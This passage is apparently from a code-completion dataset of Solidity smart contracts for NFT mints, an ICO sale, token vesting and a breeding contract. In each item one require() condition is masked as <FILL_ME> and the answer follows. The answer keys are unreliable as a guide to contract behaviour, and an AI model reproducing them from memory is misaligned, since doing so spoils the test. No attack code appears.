▀▀▀▀▀█░█▀▀▀▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀▐░▌ ▐░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▌
▐░▌ ▐░▌ ▐░▐░▌ ▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▌
▐░▌ ▐░█▄▄▄▄▄▄▄█░▐░▌ ▄▄▄▄▄▄▄▄▐░▌ ▐░▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▐░█▄▄▄▄▄▄▄█░▐░▌ ▐░▌
▐░▌ ▐░░░░░░░░░░░▐░▌▐░░░░░░░░▐░▌ ▐░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▌ ▐░▌ ▐░▐░░░░░░░░░░░▐░▌ ▐░▌
▐░▌ ▐░█▀▀▀▀▀▀▀█░▐░▌ ▀▀▀▀▀▀█░▐░▌ ▐░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀█░█▀▀ ▀▀▀▀▀▀▀▀▀█░▌ ▐░▌ ▐░▐░█▀▀▀▀▀▀▀█░▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▌
▄▄▄▄▄█░▌ ▐░▌ ▐░▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄█░▐░▌ ▐░▐░▌ ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌ ▐░█▄▄▄▄▄▄▄█░▐░▌ ▐░▐░█▄▄▄▄▄▄▄█░▌
▐░░░░░░░▌ ▐░▌ ▐░▐░░░░░░░░░░░▐░░░░░░░░░░░▐░▌ ▐░▐░▌ ▐░▐░░░░░░░░░░░▌ ▐░░░░░░░░░░▌▐░▌ ▐░▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀
*/
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract JaguarsDAO is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public hiddenURI;
string public baseExtension = ".json";
uint256 public PRICE = 0.1 ether;
uint256 public MAX_SUPPLY = 10000;
uint256 public AVAILABLE_FOR_PUBLIC = 9800;
uint256 public MAX_MINT_AMOUNT = 5;
bool public paused = false;
bool public revealed = false;
constructor() ERC721("Jaguars DAO", "JDAO") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function mint(uint256 _mintAmount) external payable {
uint256 supply = totalSupply();
require(!paused, "Sales Inactive");
require(_mintAmount < 6, "Mint amount must be <= 5");
require(<FILL_ME>)
require(msg.value >= PRICE * _mintAmount, "Value must be >= price * mint amount");
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function devMint(uint256 _mintAmount) external onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function reveal() external onlyOwner() {
}
function setCost(uint256 _newCost) external onlyOwner() {
}
function setMaxMintAmount(uint256 _newMaxMintAmount) external onlyOwner() {
}
function setHiddenURI(string memory _hiddenURI) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) external onlyOwner {
}
function pause(bool _state) external onlyOwner {
}
function withdraw() external payable onlyOwner {
}
}
| supply+_mintAmount<9801,"Mint amount exceeds the max supply available for public" | 326,175 | supply+_mintAmount<9801 |
null | pragma solidity ^0.4.15;
//EKN: deploy with Current version:0.4.16+commit.d7661dd9.Emscripten.clang
// ================= Ownable Contract start =============================
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
}
}
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is ERC20, SafeMath {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success){
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
}
function balanceOf(address _owner) constant returns (uint balance) {
}
function approve(address _spender, uint _value) returns (bool success) {
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
}
}
// ================= ZIONToken start =======================
contract IcoToken is SafeMath, StandardToken, Pausable {
string public name;
string public symbol;
uint256 public decimals;
string public version;
address public icoContract;
address public developer_BSR;
address public developer_EKN;
//EKN: Reserve initial amount tokens for future ZION projects / Exchanges
//40 million
uint256 public constant INITIAL_SUPPLY = 40000000 * 10**18;
//EKN: Developers share
//10 million
uint256 public constant DEVELOPER_SUPPLY = 10000000 * 10**18;
function IcoToken() {
}
function transfer(address _to, uint _value) whenNotPaused returns (bool success) {
}
function approve(address _spender, uint _value) whenNotPaused returns (bool success) {
}
function balanceOf(address _owner) constant returns (uint balance) {
}
function setIcoContract(address _icoContract) onlyOwner {
}
function sell(address _recipient, uint256 _value) whenNotPaused returns (bool success) {
}
}
// ================= Sale Contract Start ====================
contract IcoContract is SafeMath, Pausable {
IcoToken public ico;
uint256 public tokenCreationCap;
uint256 public totalSupply;
address public ethFundDeposit;
address public tokenAddress;
uint256 public fundingStartTime;
bool public isFinalized;
uint256 public tokenExchangeRate;
event LogCreateICO(address from, address to, uint256 val);
function CreateICO(address to, uint256 val) internal returns (bool success) {
}
function IcoContract(
address _ethFundDeposit,
address _tokenAddress,
uint256 _tokenCreationCap,
uint256 _tokenExchangeRate,
uint256 _fundingStartTime
)
{
}
function () payable {
}
/// @dev Accepts ether and creates new ICO tokens.
function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused {
require (tokenCreationCap > totalSupply);
require (now >= fundingStartTime);
require (!isFinalized);
uint256 tokens = safeMult(_value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap < checkedSupply) {
uint256 tokensToAllocate = safeSubtract(tokenCreationCap, totalSupply);
uint256 tokensToRefund = safeSubtract(tokens, tokensToAllocate);
totalSupply = tokenCreationCap;
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
require(<FILL_ME>)
msg.sender.transfer(etherToRefund);
ethFundDeposit.transfer(this.balance);
return;
}
totalSupply = checkedSupply;
require(CreateICO(_beneficiary, tokens));
ethFundDeposit.transfer(this.balance);
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external onlyOwner {
}
}
| CreateICO(_beneficiary,tokensToAllocate) | 326,190 | CreateICO(_beneficiary,tokensToAllocate) |
null | pragma solidity ^0.4.15;
//EKN: deploy with Current version:0.4.16+commit.d7661dd9.Emscripten.clang
// ================= Ownable Contract start =============================
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
}
}
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is ERC20, SafeMath {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success){
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
}
function balanceOf(address _owner) constant returns (uint balance) {
}
function approve(address _spender, uint _value) returns (bool success) {
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
}
}
// ================= ZIONToken start =======================
contract IcoToken is SafeMath, StandardToken, Pausable {
string public name;
string public symbol;
uint256 public decimals;
string public version;
address public icoContract;
address public developer_BSR;
address public developer_EKN;
//EKN: Reserve initial amount tokens for future ZION projects / Exchanges
//40 million
uint256 public constant INITIAL_SUPPLY = 40000000 * 10**18;
//EKN: Developers share
//10 million
uint256 public constant DEVELOPER_SUPPLY = 10000000 * 10**18;
function IcoToken() {
}
function transfer(address _to, uint _value) whenNotPaused returns (bool success) {
}
function approve(address _spender, uint _value) whenNotPaused returns (bool success) {
}
function balanceOf(address _owner) constant returns (uint balance) {
}
function setIcoContract(address _icoContract) onlyOwner {
}
function sell(address _recipient, uint256 _value) whenNotPaused returns (bool success) {
}
}
// ================= Sale Contract Start ====================
contract IcoContract is SafeMath, Pausable {
IcoToken public ico;
uint256 public tokenCreationCap;
uint256 public totalSupply;
address public ethFundDeposit;
address public tokenAddress;
uint256 public fundingStartTime;
bool public isFinalized;
uint256 public tokenExchangeRate;
event LogCreateICO(address from, address to, uint256 val);
function CreateICO(address to, uint256 val) internal returns (bool success) {
}
function IcoContract(
address _ethFundDeposit,
address _tokenAddress,
uint256 _tokenCreationCap,
uint256 _tokenExchangeRate,
uint256 _fundingStartTime
)
{
}
function () payable {
}
/// @dev Accepts ether and creates new ICO tokens.
function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused {
require (tokenCreationCap > totalSupply);
require (now >= fundingStartTime);
require (!isFinalized);
uint256 tokens = safeMult(_value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap < checkedSupply) {
uint256 tokensToAllocate = safeSubtract(tokenCreationCap, totalSupply);
uint256 tokensToRefund = safeSubtract(tokens, tokensToAllocate);
totalSupply = tokenCreationCap;
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
require(CreateICO(_beneficiary, tokensToAllocate));
msg.sender.transfer(etherToRefund);
ethFundDeposit.transfer(this.balance);
return;
}
totalSupply = checkedSupply;
require(<FILL_ME>)
ethFundDeposit.transfer(this.balance);
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external onlyOwner {
}
}
| CreateICO(_beneficiary,tokens) | 326,190 | CreateICO(_beneficiary,tokens) |
"Sold out" | pragma solidity ^0.8.0;
contract OneAndZero is Ownable, ERC721A, ReentrancyGuard {
constructor(
uint256 maxBatchSize_,
uint256 collectionSize_,
uint256 amountForAuctionAndDev_,
uint256 amountForDevs_
) ERC721A("OneAndZero", "1AND0", maxBatchSize_, collectionSize_) {
}
///////////// MINT SECTION /////////////
uint256 public pricePer = 0.075 ether;
uint256 maxTotalSupply = 10000;
bool public saleStart = true;
bool public publicSaleStart = false;
bytes32 public MerkleRoot;
bool public onlyWhitelist = true;
function isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) internal view returns(bool) {
}
function setMerkle (bytes32 merkleRoot) public onlyOwner{
}
function setPublicSale(bool start) public onlyOwner{
}
function setWLOnly(bool start) public onlyOwner{
}
function setWLSale(bool start) public onlyOwner{
}
function setPrice(uint256 price) public onlyOwner{
}
function setMaxPublicMint(uint256 num) public onlyOwner{
}
uint256 public maxPublicMint = 4;
function mintMarketing(address to, uint256 quantity) external onlyOwner {
require(<FILL_ME>)
_safeMint(to, quantity);
}
function mint(uint256 quantity) external payable{
}
uint256 public maxWLMint = 4;
mapping(address => uint256) public minted;
mapping(address => uint256) public mintedPub;
function setMaxWLTotal(uint256 newMax) public onlyOwner{
}
function mintWL(uint256 quantity, bytes32[] calldata merkleProof) external payable{
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| totalSupply()+quantity<=maxTotalSupply,"Sold out" | 326,222 | totalSupply()+quantity<=maxTotalSupply |
"Can't mint more than 10" | pragma solidity ^0.8.0;
contract OneAndZero is Ownable, ERC721A, ReentrancyGuard {
constructor(
uint256 maxBatchSize_,
uint256 collectionSize_,
uint256 amountForAuctionAndDev_,
uint256 amountForDevs_
) ERC721A("OneAndZero", "1AND0", maxBatchSize_, collectionSize_) {
}
///////////// MINT SECTION /////////////
uint256 public pricePer = 0.075 ether;
uint256 maxTotalSupply = 10000;
bool public saleStart = true;
bool public publicSaleStart = false;
bytes32 public MerkleRoot;
bool public onlyWhitelist = true;
function isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) internal view returns(bool) {
}
function setMerkle (bytes32 merkleRoot) public onlyOwner{
}
function setPublicSale(bool start) public onlyOwner{
}
function setWLOnly(bool start) public onlyOwner{
}
function setWLSale(bool start) public onlyOwner{
}
function setPrice(uint256 price) public onlyOwner{
}
function setMaxPublicMint(uint256 num) public onlyOwner{
}
uint256 public maxPublicMint = 4;
function mintMarketing(address to, uint256 quantity) external onlyOwner {
}
function mint(uint256 quantity) external payable{
require(publicSaleStart, "Sale not started");
require(totalSupply() + quantity <= maxTotalSupply, "Sold out");
require(<FILL_ME>)
require(msg.value >= pricePer * quantity, "Not enough Eth");
mintedPub[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
uint256 public maxWLMint = 4;
mapping(address => uint256) public minted;
mapping(address => uint256) public mintedPub;
function setMaxWLTotal(uint256 newMax) public onlyOwner{
}
function mintWL(uint256 quantity, bytes32[] calldata merkleProof) external payable{
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| mintedPub[msg.sender]+quantity<maxPublicMint,"Can't mint more than 10" | 326,222 | mintedPub[msg.sender]+quantity<maxPublicMint |
"Not whitelisted" | pragma solidity ^0.8.0;
contract OneAndZero is Ownable, ERC721A, ReentrancyGuard {
constructor(
uint256 maxBatchSize_,
uint256 collectionSize_,
uint256 amountForAuctionAndDev_,
uint256 amountForDevs_
) ERC721A("OneAndZero", "1AND0", maxBatchSize_, collectionSize_) {
}
///////////// MINT SECTION /////////////
uint256 public pricePer = 0.075 ether;
uint256 maxTotalSupply = 10000;
bool public saleStart = true;
bool public publicSaleStart = false;
bytes32 public MerkleRoot;
bool public onlyWhitelist = true;
function isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) internal view returns(bool) {
}
function setMerkle (bytes32 merkleRoot) public onlyOwner{
}
function setPublicSale(bool start) public onlyOwner{
}
function setWLOnly(bool start) public onlyOwner{
}
function setWLSale(bool start) public onlyOwner{
}
function setPrice(uint256 price) public onlyOwner{
}
function setMaxPublicMint(uint256 num) public onlyOwner{
}
uint256 public maxPublicMint = 4;
function mintMarketing(address to, uint256 quantity) external onlyOwner {
}
function mint(uint256 quantity) external payable{
}
uint256 public maxWLMint = 4;
mapping(address => uint256) public minted;
mapping(address => uint256) public mintedPub;
function setMaxWLTotal(uint256 newMax) public onlyOwner{
}
function mintWL(uint256 quantity, bytes32[] calldata merkleProof) external payable{
if(onlyWhitelist){
require(<FILL_ME>)
}
require(saleStart, "Sale not started");
require(minted[msg.sender] < maxWLMint, "Cant mint more than 3 for free");
require(totalSupply() + quantity <= maxTotalSupply, "Sold out");
minted[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| isValidMerkleProof(merkleProof,MerkleRoot),"Not whitelisted" | 326,222 | isValidMerkleProof(merkleProof,MerkleRoot) |
"Cant mint more than 3 for free" | pragma solidity ^0.8.0;
contract OneAndZero is Ownable, ERC721A, ReentrancyGuard {
constructor(
uint256 maxBatchSize_,
uint256 collectionSize_,
uint256 amountForAuctionAndDev_,
uint256 amountForDevs_
) ERC721A("OneAndZero", "1AND0", maxBatchSize_, collectionSize_) {
}
///////////// MINT SECTION /////////////
uint256 public pricePer = 0.075 ether;
uint256 maxTotalSupply = 10000;
bool public saleStart = true;
bool public publicSaleStart = false;
bytes32 public MerkleRoot;
bool public onlyWhitelist = true;
function isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) internal view returns(bool) {
}
function setMerkle (bytes32 merkleRoot) public onlyOwner{
}
function setPublicSale(bool start) public onlyOwner{
}
function setWLOnly(bool start) public onlyOwner{
}
function setWLSale(bool start) public onlyOwner{
}
function setPrice(uint256 price) public onlyOwner{
}
function setMaxPublicMint(uint256 num) public onlyOwner{
}
uint256 public maxPublicMint = 4;
function mintMarketing(address to, uint256 quantity) external onlyOwner {
}
function mint(uint256 quantity) external payable{
}
uint256 public maxWLMint = 4;
mapping(address => uint256) public minted;
mapping(address => uint256) public mintedPub;
function setMaxWLTotal(uint256 newMax) public onlyOwner{
}
function mintWL(uint256 quantity, bytes32[] calldata merkleProof) external payable{
if(onlyWhitelist){
require(isValidMerkleProof(merkleProof, MerkleRoot), "Not whitelisted");
}
require(saleStart, "Sale not started");
require(<FILL_ME>)
require(totalSupply() + quantity <= maxTotalSupply, "Sold out");
minted[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| minted[msg.sender]<maxWLMint,"Cant mint more than 3 for free" | 326,222 | minted[msg.sender]<maxWLMint |
null | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity ^0.8.0;
contract LilBabyLazyLions is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
uint256 public cost = 20000000000000000; // 0.02 eth
uint256 public maxSupply = 4444;
uint256 public maxMintAmount = 20;
bool public paused = false;
mapping(address => bool) public whitelisted;
constructor() ERC721("LIL BABY LAZY LIONS", "LBLL") { }
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(address _to, uint256 _mintAmount) public payable {
}
// free
function mintFREE(address _to, uint256 _claimAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_claimAmount > 0);
require(_claimAmount <= 1);
require(<FILL_ME>)
for (uint256 i = 1; i <= _claimAmount; i++) {
_safeMint(_to, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
//only owner
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function whitelistUser(address _user) public onlyOwner {
}
function removeWhitelistUser(address _user) public onlyOwner {
}
function withdraw() onlyOwner public {
}
}
| supply+_claimAmount<=200 | 326,255 | supply+_claimAmount<=200 |
"Address is temporarily locked" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
/**
Contract which implements locking of functions via a notLocked modifier
Functions are locked per address.
*/
contract TimeLock {
// how many seconds are the functions locked for
uint256 private constant TIME_LOCK_SECONDS = 300; // 5 minutes
// last timestamp for which this address is timelocked
mapping(address => uint256) public lastLockedTimestamp;
function lock(address _address) internal {
}
modifier notLocked(address lockedAddress) {
require(<FILL_ME>)
_;
}
}
| lastLockedTimestamp[lockedAddress]<=block.timestamp,"Address is temporarily locked" | 326,288 | lastLockedTimestamp[lockedAddress]<=block.timestamp |
"zero address not allowed" | /*
Copyright [2019] - [2021], PERSISTENCE TECHNOLOGIES PTE. LTD. and the ERC20 contributors
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.8.4;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Initializable} from "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { IPstake } from "./pStake.sol";
contract StepVesting is Initializable{
using SafeERC20 for IPstake;
event ReceiverChanged(address oldWallet, address newWallet);
IPstake public token;
uint64 public cliffTime;
uint64 public stepDuration;
uint256 public cliffAmount;
uint256 public stepAmount;
uint256 public numOfSteps;
address public receiver;
uint256 public claimed;
modifier onlyReceiver {
}
function initialize(
IPstake _token,
uint64 _cliffTime,
uint64 _stepDuration,
uint256 _cliffAmount,
uint256 _stepAmount,
uint256 _numOfSteps,
address _receiver
) external initializer {
require(<FILL_ME>)
require(_stepDuration != 0, "step duration can't be zero");
token = _token;
cliffTime = _cliffTime;
stepDuration = _stepDuration;
cliffAmount = _cliffAmount;
stepAmount = _stepAmount;
numOfSteps = _numOfSteps;
receiver = _receiver;
emit ReceiverChanged(address(0), _receiver);
}
function available() public view returns (uint256) {
}
function claimable() public view returns (uint256) {
}
function setReceiver(address _receiver) public onlyReceiver {
}
function claim() external onlyReceiver {
}
function delegate(address delegatee) external onlyReceiver {
}
}
| address(_token)!=address(0)&&_receiver!=address(0),"zero address not allowed" | 326,307 | address(_token)!=address(0)&&_receiver!=address(0) |
"invalid-token" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC721Enumerable.sol";
import "./interfaces/IBabyBirdez.sol";
import "./interfaces/ISeedToken.sol";
import "hardhat/console.sol";
contract Breeder is Ownable {
event SeedClaimed(
address indexed user,
uint256 indexed tokenId,
uint256 amount
);
ISeedToken public immutable seed;
IERC721Enumerable public immutable genesis;
IBabyBirdez public immutable baby;
uint256 public immutable breedStart;
// Operation costs
uint256 public constant BREEDING_COST = 600 * (10**18);
uint256 public constant NAME_COST = 300 * (10**18);
uint256 public constant BIO_COST = 100 * (10**18);
// Seed drip per token, per day
uint256 public constant SEED_PER_DAY = 10 * (10**18);
// Max seed drip from this contract
uint256 public constant SEED_AMOUNT = 48_654_500 * (10**18);
// Max totalSupply of mintable Baby
uint256 public maxBreedableBaby = 5000;
// Total Seed claimed from this contract
uint256 public totalSeedClaimed;
// Genesis TokenId -> Seed Claimed
mapping(uint256 => uint256) public seedClaimed;
// Genesis TokenID -> Custom Bio
mapping(uint256 => string) public bio;
// Genesis TokenID -> Custom Name
mapping(uint256 => string) public name;
modifier onlyGenesisOwner(uint256 _tokenId) {
}
constructor(
ISeedToken _seed,
IERC721Enumerable _genesis,
IBabyBirdez _baby
) {
require(<FILL_ME>)
require(address(_genesis) != address(0), "invalid-genesis");
require(address(_baby) != address(0), "invalid-baby");
seed = _seed;
genesis = _genesis;
baby = _baby;
breedStart = block.timestamp - 30 days;
}
function pendingRewards(uint256 _tokenId) public view returns (uint256) {
}
function allPendingRewards(address _user) external view returns (uint256) {
}
function claim(uint256 _tokenId) external onlyGenesisOwner(_tokenId) {
}
function setBio(uint256 _tokenId, string memory _text)
external
onlyGenesisOwner(_tokenId)
{
}
function setName(uint256 _tokenId, string memory _text)
external
onlyGenesisOwner(_tokenId)
{
}
function claimAll() external {
}
function setMaxBreedable(uint256 _newLimit) external onlyOwner {
}
function breed(uint256 _numberOfTokens) external {
}
function _mint(address _to, uint256 _amount) internal {
}
function _burn(address _to, uint256 _amount) internal {
}
function _claim(uint256 _tokenId) internal {
}
function _getGenesisCount(address _owner)
internal
view
returns (uint256 _count)
{
}
function _getGenesisIds(address _owner)
internal
view
returns (uint256[] memory)
{
}
}
| address(_seed)!=address(0),"invalid-token" | 326,417 | address(_seed)!=address(0) |
"invalid-genesis" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC721Enumerable.sol";
import "./interfaces/IBabyBirdez.sol";
import "./interfaces/ISeedToken.sol";
import "hardhat/console.sol";
contract Breeder is Ownable {
event SeedClaimed(
address indexed user,
uint256 indexed tokenId,
uint256 amount
);
ISeedToken public immutable seed;
IERC721Enumerable public immutable genesis;
IBabyBirdez public immutable baby;
uint256 public immutable breedStart;
// Operation costs
uint256 public constant BREEDING_COST = 600 * (10**18);
uint256 public constant NAME_COST = 300 * (10**18);
uint256 public constant BIO_COST = 100 * (10**18);
// Seed drip per token, per day
uint256 public constant SEED_PER_DAY = 10 * (10**18);
// Max seed drip from this contract
uint256 public constant SEED_AMOUNT = 48_654_500 * (10**18);
// Max totalSupply of mintable Baby
uint256 public maxBreedableBaby = 5000;
// Total Seed claimed from this contract
uint256 public totalSeedClaimed;
// Genesis TokenId -> Seed Claimed
mapping(uint256 => uint256) public seedClaimed;
// Genesis TokenID -> Custom Bio
mapping(uint256 => string) public bio;
// Genesis TokenID -> Custom Name
mapping(uint256 => string) public name;
modifier onlyGenesisOwner(uint256 _tokenId) {
}
constructor(
ISeedToken _seed,
IERC721Enumerable _genesis,
IBabyBirdez _baby
) {
require(address(_seed) != address(0), "invalid-token");
require(<FILL_ME>)
require(address(_baby) != address(0), "invalid-baby");
seed = _seed;
genesis = _genesis;
baby = _baby;
breedStart = block.timestamp - 30 days;
}
